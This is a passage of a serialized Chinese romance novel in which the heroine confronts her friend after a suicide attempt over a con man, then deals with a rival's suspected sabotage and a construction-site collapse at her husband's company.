“去吧。”顾老太太点了点头,“家里有我们
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,安安我们会照顾好。那边有什么情况,立刻打电话。”
“还有,林舟已经带着保镖跟过去了。”秦兰补充道,“别怕花钱。”
江晚絮点了点头,转身出门。
市一院医,急救室。
“还在抢救。”
林舟守在门口,看到江晚絮走过来,立刻低声汇报,“医生说失血过多,而且有轻微的药物**迹象,应该是吞了**之后才割腕的。”
她是真的不想活了。
江晚絮闭上了眼睛。
苏洛敏那个傻丫头。
平时买个包都要货比三家,吃个火锅都要算计半天优惠券。
怎么在寻死这件事上,这么大方?
这么舍得对自己下狠手?
顾彦廷也很快从公司赶了过来。
“周旭呢?”
江晚絮开口,咬牙切齿,“别告诉我,让他跑了。”
顾彦廷没说话,只是对着林舟扬了扬下巴。
林舟立刻递过来一个平板电脑。
屏幕上,是一张机场监控的截图。
周旭带着鸭舌帽,背着包正在过安检。
“他很聪明。”
顾彦廷指着截图中的安检口,“在苏洛敏去民政局的时候,他就已经买了最近一班飞往韩国的机票。”
“韩国……”
江晚絮冷笑一声,“跑得挺快啊。拿着洛敏的钱去逍遥快活?”
“嗡——”
江晚絮口袋里的手机震动了一下。
是程宇。
“喂。”江晚絮接起电话。
“江我们查到了。”程宇的声音有些急促,“引渡手续很麻烦,可能需要时间……”
“需要多久?”
“这个……最快也要半个月,甚至更久。”
“半个月?”
江晚絮笑了。
“半个月后,他早就拿着钱跑到不知道哪个角落里去了!或者是换了一张脸,换了一个身份,继续去骗下一个苏洛敏!”
“晚絮,你冷静点,这是法律程序……”
“法律程序我懂。”
江晚絮打断了他,“程宇,你走你的程序。我用我的手段。”
说完,她直接挂断了电话,然后转过头看向顾彦廷。
“顾彦廷。”
她叫他的全名。
“帮我。”
第247章 他是谁?
顾彦廷看着江晚絮,良久,他才伸手,轻轻抚过她眼角的泪痕。
“好。我现在就通知首尔分公司的人,全力查找周旭的下落。”
“咔哒——”
就在这时,急救室的灯灭了。
大门打开。
带着口罩的医生走了出来,摘下口罩,长出了一口气。
“谁是家属?”
“我是!”江晚絮赶紧跑过去,“她怎么样?”
医生看了看她,又看了看站在后面那个气场强大的男人,语气变得恭敬了许多。
“幸亏送来得及时,伤口虽然深,但避开了主动脉。洗胃也很成功。人已经脱离生命危险了,只要今晚不发烧,就没事了。”
江晚絮长长舒了口气。
“没事了。”
顾彦廷拍着她的后背,安抚道,“你现在的任务就是好好照顾她。”
苏洛敏被推到了VIP特护病房。
江晚絮坐在病床边,看着躺在病床上的姑娘。
苏洛敏的手腕上缠着厚厚的纱布,整个人看上去一点血色都没有。
江晚絮就这么盯着她,一动不动。
天渐渐黑了下来。
病床上的人,手指动了一下。
江晚絮瞬间坐直了身体看向苏洛敏。
就见她缓缓睁开眼睛。
眼神还有些涣散,似乎在确认这里是人间还是地狱。
“晚……晚晚……”
她看到江晚絮,露出一个惨白的笑。
江晚絮半天都没有说话。
她只是静静地看着苏洛敏。
“那个……水……”
苏洛敏有些心虚,想要讨杯水喝。
“喝水?”
江晚絮终于开口了。
她站起身,那一瞬间爆发出来的气势,把刚进门的护士都吓了一跳。
“你还知道喝水?你还知道疼?那你把刀子割下去的时候,怎么不知道疼?!”
苏洛敏被吼懵了。
她缩了缩脖子,眼泪一下子就涌了出来。
“晚晚,我……”
“你闭嘴!”
江晚絮根本不给她解释的机会,指着她的鼻子就开始骂。
“苏洛敏,你是不是脑子进水了?为了一个满嘴谎话、刚出狱的**犯,你要**?你的命就这么不值钱?!”
“你知不知道我在外面拍门的时候是什么心情?你知不知道我看见你躺在地上的时候我想干什么?”
“我想把你救活了,然后再亲手掐死你!”
江晚絮越骂越凶,眼泪却流得比谁都凶。
她一边骂,一边哭,整个人都在发抖。
“你不是说要给安安当干妈吗?你不是说以后我们要一起开养老院,还要在那边养十个八个帅老头吗?你说谎!你个大骗子!”
“江家人不要我的时候,你怎么跟我说的?叶寒那个王八蛋欺负我的时候,你都能霸气地骂回去。现在轮到你了,你就想一**之?”
“苏洛敏,你凭什么?你凭什么这么自私!”
这一通大骂,骂得苏洛敏嚎啕大哭。
她挣扎着想要坐起来,却因为没力气又跌了回去。
“哇——晚晚!我错了!我真的错了!”
苏洛敏哭得鼻涕眼泪一大把,“我当时就是觉得……我觉得天都塌了……我觉得我是个笑话……全世界都在骂我……”
“他们骂你你就死给他们看?你是傻子吗?”
江晚絮一边抹眼泪,一边从旁边抽了一张纸巾,粗鲁地帮苏洛敏擦鼻涕。
“你要死,也得先把那个死渣男给丢尽地狱去!你自己死算什么本事?”
“呜呜呜……你说得对……我是傻瓜……呜呜呜……”
两个女人,一个坐着,一个躺着。
一个骂,一个哭。
场面一度十分混乱,却又莫名的和谐。
站在门口的顾彦廷,默默地挥手让护士退下,然后顺手关上了房门。
女人之间的友谊,有时候就是这么奇怪。
不需要温言软语的安慰,只需要一顿劈头盖脸的痛骂,就能把人从鬼门关拉回来。
病房里。
骂累了的江晚絮,终于坐了下来。
“饿不饿?”江晚絮没好气地问。
“饿……”苏洛敏抽噎着,“想吃……想吃陈记的皮蛋瘦肉粥。”
“吃吃吃,就知道吃。”
江晚絮嘴上嫌弃,手却已经拿起了手机,“等着,我让林舟去买。”
苏洛敏看着江晚絮那红通通的眼睛,心里酸涩
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得厉害。
她伸出没受伤的那只手,轻轻勾住了江晚絮的小拇指。
“晚晚,谢谢你。”
“谢个屁。”江晚絮吸了吸鼻子,声音里还带着浓浓的鼻音,“这条命是我给你捡回来的,以后就是我的了。没有我的允许,你再**一个试试?”
“不敢了,真的不敢了。”
苏洛敏摇着头,眼神渐渐变得清明起来。
死过一次的人,才会知道活着有多好。
只要还有一个人在意你,只要还有一个人愿意为你拼命,那就值得活下去。
“晚晚。”
苏洛敏突然开口,语气变得有些不一样。
“怎么了?”
“我想起一件事。”
苏洛敏皱着眉头,似乎在努力回忆着什么,“其实……其实我觉得周旭有点不对劲。”
“他当然不对劲,他就是个骗子。”江晚絮翻了个白眼。
“不是这个。”
苏洛敏摇了摇头,“我们去领证的前一天晚上。他在我家洗澡,手机响了。”
“我当时想帮他拿进去,不小心碰到了接听键。”
江晚絮的心猛地一跳,直觉告诉她,重点来了。
“你听到了什么?”
“我听到对面是个女人的声音。”
苏洛敏努力回忆着每一个细节,“那个女人声音很特别,有点尖,又有点嗲。她问周旭:‘那个蠢货上钩了吗?’”
“蠢货?”江晚絮眯起眼睛。
“嗯,周旭当时很慌张地把手机抢走了。但他挂断电话之前,喊了一句……”
苏洛敏停顿了一下,似乎在确认那个称呼。
“他喊了一句:‘梁先生,您放心。’”
“梁先生?”
“对,虽然声音很小,但我听得很清楚。就是‘梁先生’。”
苏洛敏看着江晚絮震惊的表情,有些茫然,“晚晚,怎么了?你认识这个梁先生?”
江晚絮没有回答。
她转过身,看向病房门口。
门上的玻璃窗外,顾彦廷正站在那里。
两人的视线在空中交汇。
顾彦廷显然也听到了里面的对话。
晚星科技的竞争对手,环城科技公司的总裁——梁霁川。
第248章 富贵险中求
顾彦廷靠在窗边,眼神晦暗不明,“如果是他,一切就都说得通了。”
环城科技,那可是京市的老牌科技公司了。
梁家老爷子当年是跺跺脚商界都要抖三抖的人物,梁霁川作为独子,含着金汤匙出生,却不像一般二世祖那样草包。
相反,这人深沉得很。
三十七岁的年纪,没有结婚,没有绯闻,整个人活得像一个透明人。
你甚至都很难从新闻上看到他的名字。
“难怪。”
江晚絮冷笑一声,“这一年晚星科技发展得太快了。”
自从江晚絮离开江家,创立“晚星”,很多科技公司都被顾氏吞并了。
而环城科技虽然没有被收购,却也大不如前。
梁霁川那种睚眦必报的人,怎么可能坐视不理?
“我想起来了。”
江晚絮抬起头,“三个月前,京市那场科技博览会。”
顾彦廷挑眉,“嗯?”
“当时有个男人想跟我搭话,助理说他是环城的梁总。”江晚絮回忆起当时的场景,“我当时正准备过去,家里保姆突然打电话来,说安安发烧了,哭着要妈妈。”
那一刻,江晚絮什么都没想。
什么几亿的项目,什么商业大亨,在她生病的女儿面前,都得靠边站。
她连那个梁总的正脸都没看清,转头就冲出了会场。
“后来听说,梁霁川在原地站了十分钟,脸色很难看。”江晚絮耸了耸肩,“估计他记恨上我了。”
顾彦廷看着她。
此时的江晚絮,提起得罪权贵这事儿,云淡风轻。
可顾彦廷知道,她这份“云淡风轻”是用多少血泪换来的。
“做得好。”
顾彦廷走过去,伸手揉了揉她的发顶,声音低沉宠溺,“别说晾他十分钟,就算你当场泼他一脸酒,我也给你兜着。”
江晚絮偏头躲过他的手,瞪了他一眼,“顾总,别动手动脚。”
虽然嘴上这么说,但她紧绷的肩膀,却在这一刻微微放松了下来。
“晚晚……”
苏洛敏显然听到了他们的对话,“如果是因为我……连累了你的公司……那我……”
“闭嘴。”
江晚絮直接打断了她的胡思乱想,伸手帮她掖了掖被角,“苏洛敏,你现在脑子里除了养伤,什么都别想。”
她指了指旁边的顾彦廷,“诺,这儿有个现成的高个子顶着呢。”
顾彦廷无奈地笑了笑,倒是很配合地挺直了脊背。
“可是……”苏洛敏还是不放心,“我想想,我再想想……周旭除了那个电话,还有没有什么不对劲的地方……”
她闭上眼睛,逼着自己去回忆那些甜蜜却充满谎言的过往。
看着苏洛敏痛苦地皱起眉头,江晚絮心疼坏了。
“别想了。”
江晚絮一把抓住她的手,声音严厉,“洛敏,听话,睡吧。”
江晚絮的声音软了下来,“等你睡醒了,一切都会好起来的。”
或许是药物的作用,或许是江晚絮在身边的安全感,苏洛敏终于扛不住疲惫,沉沉地睡了过去。
确认苏洛敏睡熟了,江晚絮才轻手轻脚地走出病房。
走廊里,她拿出手机,拨通了程宇的电话。
“喂,程宇,怎么样?”
电话那头,程宇的声音听起来有些兴奋。
“晚絮,告诉你个好消息!我们连夜核查了顾彦廷拿过来的东西,经过鉴定科确认,都没有问题。”
“也就是说,洛敏没事了?”
“基本可以确定,苏小姐是被**的受害者,不仅不构成**,甚至还可以追回部分损失。不过……”程宇顿了顿,“你也知道,走流程需要时间,检察院那边还要复核,最快也要五天。”
五天。
江晚絮握着手机的手紧了紧。
“好,我知道了。谢谢你,程宇。”
只要洛敏没事,其他的账,她可以慢慢算。
城市的另一端,叶寒坐在茶室的包厢里。
他的眼神有些焦躁,时不时看向门口。
“叶总,这么急着找我,是有什么好消息?”
包厢门被推开,沈曼走了进来。
叶寒看到她,立刻放下茶杯,“沈曼,我看见晚絮了。”
“哦?”沈曼挑了挑眉,慢条斯理地坐下,“在哪儿?”
“派出所。”
叶寒的语气里带着急
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切,“她瘦了,但是……更漂亮了。”
沈曼在心里翻了个白眼。
男人就是贱。
在他身边的时候视如草芥,人走了,光芒万丈了,他又开始犯贱了。
“所以呢?”沈曼给自己倒了一杯茶,语气淡淡,“你想干什么?冲上去抱住她,求她复婚?叶寒,你别忘了,你是怎么跟她离的婚。”
“我知道!我后悔了行不行?”
叶寒烦躁地抓了抓头发,“我现在只要一闭上眼,就是她以前给我送饭、给我洗衣服的样子。江芊妤那个女人,除了会哭会装,还会干什么?跟晚絮比起来,她就是个废物!”
如果江芊妤听到这话,估计能气得当场吐血。
当初是谁把江芊妤捧在手心里,说是天上的月亮?现在月亮不亮了,就想起地上的白米饭了?
“叶总,后悔是最没用的。”
沈曼放下茶杯,“你要是真想把江晚絮抢回来,光靠后悔有什么用?你得让她看到你的价值,让她走投无路,只能回到你身边。”
叶寒愣了一下,“什么意思?”
“现在江晚絮之所以硬气,是因为她有顾彦廷给她撑腰,有晚星科技这个底气。”
沈曼慢条斯理地摸了摸自己脖子上戴的十字架,“如果晚星科技垮了呢?如果顾彦廷自身难保了呢?”
叶寒的眼神闪烁了一下。
虽然他觉得这手段有点卑鄙,但现在的他,根本不是顾彦廷的对手。
“那你有什么计划?”叶寒问。
沈曼笑了笑,“别急。”
她从包里拿出一份文件,推到叶寒面前。
“这是晚星科技下个季度核心产品的供应链名单。只要叶总利能稍微动点手脚……”
叶寒看着那份名单,犹豫了。
“这……这是犯法的吧?”
“叶总,富贵险中求,美人也是。”沈曼循循善诱,“再说了,我们只是让货‘晚到’几天,又不是去抢去偷。放心吧。”
叶寒犹豫了很久,最终还是拿起了那份文件。
“好。”
叶寒咬着牙,“只要能让她回来,我什么都愿意做。”
沈曼看着他,嘴角的笑意更深了。
第249章 梦要醒了
江晚絮刚到家,手机就响了。
是程宇发来的微信:【检察院那边流程走得比预想的快。苏洛敏账户的解冻申请也提交了。】
江晚絮看着屏幕上的字,松了口气。
“怎么了?好消息?”
顾彦廷扭头看她。
“嗯。”江晚絮点了点头,“**的事情应该没什么问题了。”
“那就好。”
顾彦廷顺势在她身边坐下,长臂一伸,将她揽入怀中,“那你是不是该考虑一下,怎么奖励我?”
“奖励?”江晚絮斜眼看他,“顾总,这明明是程警官的功劳。”
“程宇是警察,那是他的职责。但我……”顾彦廷凑到她耳边,温热的气息喷洒在她的颈窝,“为了找周旭,我可是动用了不少私人关系,还欠了韩国那边好多人情。顾太太,这笔账怎么算?”
一声“顾太太”,叫得江晚絮耳根发烫。
“别闹。”她推了他一把,却没推动。
顾彦廷低低地笑了起来。
腊月二十七,年味儿越来越浓了。
“晚晚!我回来啦!”
随着一声中气十足的大喊,顾家别墅的大门被人推开。
许甜回来了。
她身后跟着一个英俊的意大利男人,男人拖着两个巨大的行李箱。
“我的宝贝安安呢?快让大妈亲一口!”
安安正坐在客厅的地毯上听顾老太太讲故事。
听到声音,小团子眨了眨眼睛。
许甜抱起安安就是一顿揉捏,“哎哟我的乖乖,太可爱了!有没有想我?有没有?”
江晚絮笑着看她,“她还不会说话呢。”
许甜笑着等了她一眼,然后从马克手中接过一个行李箱,放在地上迫不及待地打开。
意大利的手工巧克力、限量版的小汽车、还有给江晚絮带的各种护肤品和包包。
顾彦廷也笑着上前去跟马克打招呼。
整个客厅瞬间变得热闹非凡。
江晚絮站在一旁,看着这一幕,眼眶微微发热。
这种热闹,这种毫无保留的宠爱和欢笑,是她曾经做梦都不敢想的。
在江家,过年永远是她最害怕的时候。
因为那是江芊妤的主场。
全家人围着江芊妤转,问她想要什么礼物,夸她懂事漂亮。而江晚絮只能缩在角落里,哪怕只是想吃一块桌上的糖,都会**明宇骂是“饿死鬼投胎”。
“发什么呆呢?”
许甜把一个精致的盒子塞进江晚絮怀里,“专门给你带的,全球限量,我排了三个小时队才买到的!”
江晚絮回过神,看着手里的礼物,心头一暖。
“谢谢。”
“谢什么谢,咱俩谁跟谁。”许甜大大咧咧地挥手,“对了,洛敏怎么样了?我听说了那事儿,气得我想直接飞去韩国把那个渣男给阉了!”
提到苏洛敏,江晚絮的眼神暗了暗。
“已经没事了,正在医院休养。过两天就能出院跟我们一起过年。”
“那就好!到时候咱们三个一起,吃火锅,放鞭炮!”
许甜这种单纯的快乐,最有感染力。
就在这时,门铃响了。
管家去开门,不一会儿,抱着一个巨大的盒子走了进来。
“夫人,这是……江明泽让人送来的。”
听到这个名字,客厅里的空气瞬间就有点尴尬。
许甜走了过来,“是什么?”
包装得很精美,上面还印着某奢侈品牌的logo。
“送来的人说,是送给安安的新年礼物。”管家小心翼翼地补充道。
江晚絮走过去,打开盒子。
里面是一个做工极其考究的BJD洋娃娃,穿着繁复的宫廷礼服,一看就价值不菲。
旁边还放着一张卡片,上面是江明泽的字迹:【给安安。舅舅。】
江晚絮看着那个娃娃,叹了口气。
他是想弥补吗?
顾彦廷见她愣神,安慰她,“没关系,看安安喜不喜欢,不喜欢扔掉就是。”
江晚絮点了点头。
然后就开始询问许甜有没有结婚的打
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算。
这几天,顾家别墅里一直维持着这种温馨的氛围。
苏洛敏出院后被接到了别墅里。
三个女人凑在一起,似乎把之前的阴霾都驱散了。
大家一起包饺子,一起给安安讲故事,一起聊八卦。
就连顾老太太,也乐呵呵地跟着她们一起追剧。
但这份宁静,仅仅维持了五天。
正月初三。
天阴沉沉的,像是要下雪。
“张嘴,啊——”
江晚絮拿着硅胶勺,轻轻吹了吹勺子里的南瓜泥,递到安安嘴边。
小团子坐在儿童椅上,穿着一身喜庆的红色连体衣,像个年画娃娃。
她眨巴着大眼睛,乖乖张嘴,“啊呜”一口吞下,然后咧开嘴,冲着江晚絮傻笑。
有些南瓜泥沾在了嘴角。
顾彦廷不知何时凑了过来,动作轻柔地擦去了安安嘴角的南瓜泥。
安安伸出沾满口水的小手去抓他的手指。
江晚絮看着这一幕,想起了多年前在江家,自己吃不饱饭的日子。
顾彦廷任由安安抓着,转头看向江晚絮,眉头微挑,“怎么?昨晚累着了?喂个饭都能走神。”
江晚絮脸上一热,瞪了他一眼,“顾总,食不言寝不语。”
“那是对别人。”
顾彦廷端起面前的咖啡抿了一口气,“对老婆,得言无不尽。”
江晚絮的心脏漏跳了一拍,低头去搅碗里的粥,掩饰眼底的慌乱。
哪怕已经住了这么久,她还是不太习惯这种被捧在手心里的感觉。
太不真实了。
就像是做了一场随时会醒的美梦。
“叮咚——”
门铃声响了起来。
管家匆匆去开门,不一会儿,便领着一个裹着厚重羽绒服的人走了进来。
“顾总,夫人……林特助来了。”
江晚絮抬头,有些惊讶。
顾氏集团的福利是出了名的好,每年都是实打实的十三天年假,雷打不动。
这才正月初三,林舟怎么来了?
第250章 坍塌事故
林舟看起来有些狼狈。
他头发被风吹得乱糟糟的,鼻尖通红。
“顾总……”
林舟的声音有些抖,不知道是不是冻的。
顾彦廷刚才还挂在嘴角的笑意,在看到林舟的那一刻,瞬间消失殆尽。
“林舟,我记得我给你放了年假。”
顾彦廷拿起江晚絮手里的勺子,继续给安安喂南瓜泥。
“这个时间点出现在我家里,你最好是有天大的事。”
说完这句话,顾彦廷斜睨了林舟一眼。
林舟吓得浑身一哆嗦,差点没跪下。
“顾……顾总,我……”
看着林舟那副战战兢兢的样子,江晚絮赶忙出言解围。
“好了。”
江晚絮冲林舟温和地笑了笑,“林特助,还没吃早饭吧?外面那么冷,先过来喝碗热粥暖暖身子。”
林舟感激地看了江晚絮一眼。
这就是夫人啊!
活菩萨啊!
“这……”
但没有顾彦廷发话,林舟还是不敢动。
顾彦廷冷哼一声,虽然脸色依旧不好看,但到底没再说什么。
他转头看向江晚絮,语气软了下来,“你管他干什么?这小子皮糙肉厚,冻不死。”
“顾彦廷。”
江晚絮轻轻喊了他一声,带着几分嗔怪。
顾彦廷无奈地叹了口气,摆了摆手,“行了,过来吧。”
林舟如蒙大赦,赶紧走到餐桌末端,但也只敢坐半个屁股。
佣人给他盛了一碗粥。
可林舟哪有吃饭的心情。
他在椅子上做了一会儿,到底没忍住,起身凑到顾彦廷身侧,附在他耳边低声说了几句话。
江晚絮坐在对面,听不清他在说什么。
但她清楚地看到,顾彦廷的脸色以肉眼可见的速度黑了下来。
他此刻的眼神,江晚絮从未见过。
震惊、暴怒、还有一丝……难以置信。
安安似乎感受到了爸爸的情绪变化,有些害怕地缩进了江晚絮的怀里。
顾彦廷坐在那里很久都没动。
三分钟后,他闭了闭眼,然后深吸一口气。
“我知道了。”
他说着就站起身,整理了一下衣袖,然后转头看向江晚絮。
“晚晚,公司有点急事,我得去一趟。”
他走到江晚絮身边,弯下腰,在她额头上落下一个吻。
“你慢慢吃,不用等我。”
江晚絮仰起头看着他。
虽然他在笑,但她能感觉到他身上那股寒意。
“好。”
江晚絮点了点头,伸手帮他理了理衣领,声音温软,“早点回来。”
“嗯。”
顾彦廷看了看她。
这次的事情,如果处理不好,可能会把整个顾氏都拖进泥潭。
甚至,会牵连到她。
“走。”
他转过身,带着林舟朝门口走去。
江晚絮坐在餐桌前,看着面前精致的早餐,突然就没了胃口。
她低头看着怀里的安安。
安安正眨巴着眼睛看着门口的方向,似乎在疑惑爸爸为什么突然走了。
“安安……”
江晚絮轻轻蹭了蹭女儿的小脸,喃喃自语,“没事的,爸爸去工作了。”
顾彦廷刚走出大门,脚步就停住了。
“确定吗?”
他咬牙切齿地问道。
“顾总,确……确定。”
林舟咽了一口唾沫,“刚才项目部那边打来电话,说是……就在半小时前,万悦汇那个项目的工地,塌了。”
顾彦廷转过身,一把揪住林舟的领子,将他按在车门上。
“塌了?!”
顾彦廷额上的青筋瞬间爆起,“那是顾氏今年最大的重点项目!地基打了半年,用的是最好的材料,最好的施工队,你现在告诉我,它塌了?!”
万悦汇,那是京市未来地标性的大型综合性商场。
地下三层,地上四层,总共七层的主体结构。
为了这个项目,顾彦廷投入了百亿资金,更是倾注了无数心血。
“不……不仅仅是塌了……”
林舟被勒得快要喘不过气来,脸色涨红,“当时正好有工人在里面进行收尾作业……”林舟闭上眼,声音颤抖,“目前……还有7名工人生死未卜。”
如果是单纯的工程事故,赔钱重修也就是了。
但如果涉及到别的……
“备车!去现场!”
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顾彦廷一把甩开林舟,拉开车门坐了进去。
这绝对不是意外。
顾氏的工程质量,在京圈是金字招牌。
没有猫腻,楼怎么可能塌得这么彻底?
别墅内。
江晚絮勉强喂安安吃完了剩下的辅食,便叫来保姆把孩子抱上楼去哄睡。
她一个人坐在空荡荡的客厅里。
那种心慌的感觉越来越强烈,眼皮跳得厉害。
她拿起手机,想给顾彦廷发个信息问问情况,字打了一半,又删掉了。
算了,大过年的,如果不是十万火急的事情,林舟不会特意来找他。
江晚絮苦笑了一声,把手机扔到沙发角落,准备去楼上看看苏洛敏。
就在这时,手机屏幕突然亮了起来。
“嗡——”
是一条微信消息。
江晚絮脚步一顿,转身拿起手机。
发信人:程宇。
程宇是警察,平时这个时候应该在值班或者陪家人,很少会主动联系她,除非是有案子的进展。
难道是周旭那边出变故了?
江晚絮心里咯噔一下,迅速划开屏幕。
只有简短的一行字:
【晚絮,今天别上网,顾总能搞定。】
这句话,没头没尾。
但程宇这个做法,明显会适得其反。
江晚絮都想骂他了,他还不如什么都不说。
“别上网”这三个字,本身就代表着网上已经发生了什么不得了的事情。
而且,肯定是跟顾彦廷有关的。
如果是好事,程宇肯定会直接说恭喜。
江晚絮的手指悬在屏幕上方,微微有些发凉。
理智告诉她,听程宇的,不要看。
看了只会徒增烦恼,她什么忙也帮不上。
可是……
如果他出了事,她怎么可能装作不知道?
江晚絮深吸了一口气,点开了那个红色的微博图标。
软件加载的那几秒钟,仿佛有一个世纪那么漫长。
终于,界面跳了出来。
都不需要她去搜索。
那个黑红色的“爆”字,就挂在热搜榜的第一位,触目惊心。
#顾氏集团万悦汇项目突发坍塌事故,死伤不明#
第251章 我有线索
江晚絮抱着安安坐在客厅,整个人却有些恍惚。
安安似乎也感觉到了妈妈情绪有些不对劲,紧紧靠在她怀里,没有哭闹。
江晚絮下巴抵着安安头顶,呆呆地坐着。
门铃突然响了。
江晚絮下意识抖了一下,膝盖不小心撞到了茶几角,疼得她倒吸一口凉气,却顾不上揉,踉踉跄跄地跑去开门。
“彦廷……”
可当她满怀期待地将门打开,站在门口的,却是许甜和马克。
“姐?姐夫?”
江晚絮愣了愣。
许甜看上去有些疲惫,风尘仆仆的,马克则背着两个登山包站在她身后。
“不欢迎?”
许甜语气淡淡的。
“怎么会!”江晚絮侧身让开,“你们不是去云南了吗?怎么回来了?”
许甜和马克除夕前就去了云南,说是要好好领略一下祖国的大好山河。
许甜一边进屋,一边安慰她,“先是苏洛敏出事,现在顾氏也发生这么大的事情,我担心你一个人应付不来,哪还有心情游玩。”
江晚絮苦笑一声,示意刘妈给两人倒了热茶。
“我还好。”
“是,你比以前坚强多了。”许甜接过茶抿了一口,“但我得告诉你,这次的事,我觉得很不简单。”
江晚絮手一顿,“怎么说?”
许甜看了一眼正在逗安安玩的马克,压低了声音说,“我们在云南碰到了一个‘老朋友’,做信息的。我当时刚看到新闻,正准备回来,他就提醒了我一下。”
江晚絮的心提了起来。
“有人在暗网上预言过万悦汇要出事。”许甜拧着眉说道,“而且,那个ID的后缀,是一个天平。”
天平。
涅墨西斯。
江晚絮顿时觉得一阵凉意爬上了后背。
“早该想到的。”江晚絮深吸一口气,“地基打了半年,顾彦廷亲自盯着的项目,怎么可能说塌就塌。”
“那个沈曼,还没查清楚?”许甜问。
“之前查到她和周旭有关,但还没来得及深挖,就出事了。”
江晚絮放下茶杯,陷入了沉思。
如果真的是涅墨西斯在背后搞鬼,那说明他们在半年前就盯上了顾彦廷。
可当时的江晚絮与晨曦家族的关系还只是暗地里的,并没有闹到国际上去。
涅墨西斯这么做,到底为了什么?
而沈曼……又是什么人?
“姐,帮我看会儿安安。”
江晚絮站起身,拿起手机,“我出去打个电话。”
许甜点点头。
江晚絮走到露台上,给沈曼打电话。
“喂?哪位?”沈曼的声音听起来有些焦躁,背景音很嘈杂,像是在搬东西。
“沈小姐,我是江晚絮。”
电话那头瞬间安静下来。
过了足足五秒,沈曼才冷笑一声:“江晚絮?怎么,顾总焦头烂额,你还有闲心给我打电话拜年?”
“沈小姐,明人不说暗话。”
江晚絮不愿意跟她绕弯子,“万悦汇塌了,这事儿跟你有关系吧?”
“你有病吧?顾家出了问题你找到我头上?”
沈曼的声音陡然拔高,透着一股心虚。
江晚絮轻笑一声。
“周旭跑了,你可以说你不认识他。但是你别忘了,棋子的下场通常会很惨。”
沈曼没有说话。
江晚絮继续自己的猜测,“梁霁川是个什么样的人,你应该比我清楚。顾氏的大楼塌了,这件事必然是有人做了手脚,我敢说,沈小姐应该私下里见过顾氏的某个人吧?我相信梁霁川不会那么好心把这个责任担下来。”
“你闭嘴!”
沈曼尖叫起来,“你懂什么!你什么都不知道!”
“我是不知道。”江晚絮声音冷冽,“但我知道,要是你真的掺和了这件事,等顾彦廷查到你头上,你一定不会有好结果。”
“嘟嘟嘟——”
电话被挂断了。
果然。
她猜得没错,梁霁川利用了沈曼。
江晚絮回到客厅,许甜正抱着安安喂水果。
“怎么样?”
江晚絮坐下,亲了亲安安的额头,“姐,我得去一趟顾氏
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。”
“现在?”许甜皱眉,“外面全是记者,你去了能干嘛?”
“我去给他送饭。”
她一边说一边站起身拿起外套,“顺便去印证一下自己的猜测。”
顾氏集团大楼。
虽然还在休假,但整栋大楼灯火通明。
没有一个人抱怨。
行政部门的员工在社交平台和新闻上刷到万悦汇出事,很多人都自发回到了公司上班。
因为他们的老板顾彦廷,也已经熬了两天两夜。
江晚絮提着保温桶走进大厅的时候,前台的小姑娘眼圈红红的,显然刚哭过。
“夫人……”
看到江晚絮,小姑娘赶忙站了起来。
“辛苦了。”江晚絮冲她温和地点点头,“顾总在上面吗?”
“在的,在顶层会议室,发了好大的火……”小姑娘小声提醒,“林特助刚上去。”
江晚絮点点头,转身走向电梯。
刚走到电梯口,旁边突然窜出一个人影。
“晚絮!”
这声音,很熟悉,也很恶心。
她停下脚步,侧过头,眼神冷漠。
叶寒。
“有事?”江晚絮惜字如金。
叶寒看上去有些局促。
“晚絮,我是来帮你的。”
他急切地上前一步,想要拉江晚絮的手。
江晚絮厌恶地后退一步,避开了他的触碰。
“叶总,请自重。”
叶寒脸色一白,咬了咬牙:“我知道万悦汇的事是谁干的,我有线索!”
江晚絮眼神微动,回过头看了他一眼。
“哦?”
见她有了反应,叶寒心中一喜,连忙说道:“年前,我在采购一批钢材的时候,偶然听到了一个供应商在打电话。他提到了万悦汇,还说什么‘想办法把那批货混进去’。”
说到这里,叶寒故意停住了。
他满怀期待的看着江晚絮,想从她的脸上看到焦急,想等她求他。
只要她肯低头,只要她肯像以前那样看着他……
但很可惜……江晚絮已经不是过去那个江晚絮了。
第252章 爱惨了他
“说完了?”
江晚絮的表情并没有因为叶寒的话就出现任何变化。
叶寒一愣,“晚絮,这可是关键线索!只要你……”
“只要我什么?”
江晚絮冷笑,“只要我答应原谅你之前的所作所为?”
被戳穿心思,叶寒有些难堪,但还是硬着头皮说:“我只是想跟你吃顿饭,叙叙旧。晚絮,我是真的想帮你,我不想看你受苦。顾彦廷这次栽了大跟头,他不一定能翻身,但我可以帮你……”
“叶寒。”
江晚絮打断他,眼神里满是嘲讽。
“你是不是觉得,全天下的男人都跟你一样废物?”
叶寒撇过头,不甘对视她的眼睛,但还是硬着头皮想要反驳,“你……”
“顾彦廷栽跟头?你也太小看他了。”
江晚絮按了电梯的上行键,“他不需要你的‘帮助’。至于我……”
她轻蔑地扫了叶寒一眼。
“我早就跟你没有任何关系了。”
说完这句话,她再不肯停留,直接走进了电梯。
电梯门缓缓关上,江晚絮靠在电梯壁上,长长地吐了一口气。
看到叶寒,她还是会忍不住想起曾经的那些痛苦。
但好在,她不会再回头了。
电梯很快就到达了顶层。
刚一开门,就听见会议室里传出一声巨响。
“这就是你们给我的交代?!”
顾彦廷的声音从会议室里传出。
“采购清单**!检测报告**!人跑了你们到现在才发现?!”
江晚絮走到会议室门口,透过玻璃缝隙,看到了里面的场景。
顾彦廷站在长桌前面,一脸的怒火。
长桌两侧坐着的高管都低垂着头,一言不发。
林舟站在一旁,手里拿着一份报告。
“顾总,万悦汇的项目负责人,节前就跑了……”
“跑了?!”
顾彦廷怒不可遏,“那就想办法去找啊!”
没有人说话。
江晚絮看着他几近崩溃的模样,推开门走了进去。
“彦廷。”
她轻轻喊他。
顾彦廷回头。
他眼底所有的暴戾在看到江晚絮的那一秒,变成了一抹错愕和慌乱。
“你怎么来了?”
他快步走过来,握住她的双手,下意识地想要挡住身后的狼藉。
他不想让她看到自己这副失控的模样。
“这里乱,去办公室等我。”
江晚絮看着他胡子拉碴的下巴,还有眼底那浓重的红血丝,然后伸出手轻轻抚上他的脸颊。
“我来给你送饭。”
她的手有些凉,贴在他滚烫的脸上。
那一刻,满屋子的高管都看到顾彦廷一直紧绷的双肩松了下来。
果然,还得是江晚絮。
简直就是他们的再生父母。
顾彦廷只用了五分钟吃完了江晚絮带来的粥。
“好吃吗?”江晚絮拿着纸巾,替他擦去嘴角的汤渍。
“好吃。”顾彦廷抓住她的手,在掌心蹭了蹭,声音沙哑,“晚晚,你不该来的。”
“我不来,你就要饿**。”江晚絮瞪了他一眼,“我刚才在楼下看到叶寒了。”
顾彦廷眼神一冷,“他来干什么?”
“他说他知道线索,想跟我换顿饭吃。”江晚絮如实相告。
